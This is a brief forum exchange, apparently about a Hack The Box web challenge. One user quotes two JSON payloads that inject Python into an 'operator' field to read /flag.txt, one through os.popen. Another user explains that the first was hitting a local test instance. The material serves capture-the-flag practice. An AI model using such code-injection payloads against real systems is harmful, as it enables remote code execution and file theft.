October 23, 2022 at 6:02 PM
(October 23, 2022, 05:51 PM)o2n Wrote: {"current_health":"100","attack_power":"100","operator":"+ 1; result=open('/flag.txt', 'r').readline()#"}
{"current_health":"100","attack_power":"100","operator":"; result=__import__('os').popen('cat /flag.txt').read();"}
Tried both in burp for web challenge, still the request is "HTB{f4k3_fl4g_f0r_t3st1ng}"
Sounds like you are testing it against you own target? You have to spawn the docker instance on the challenge page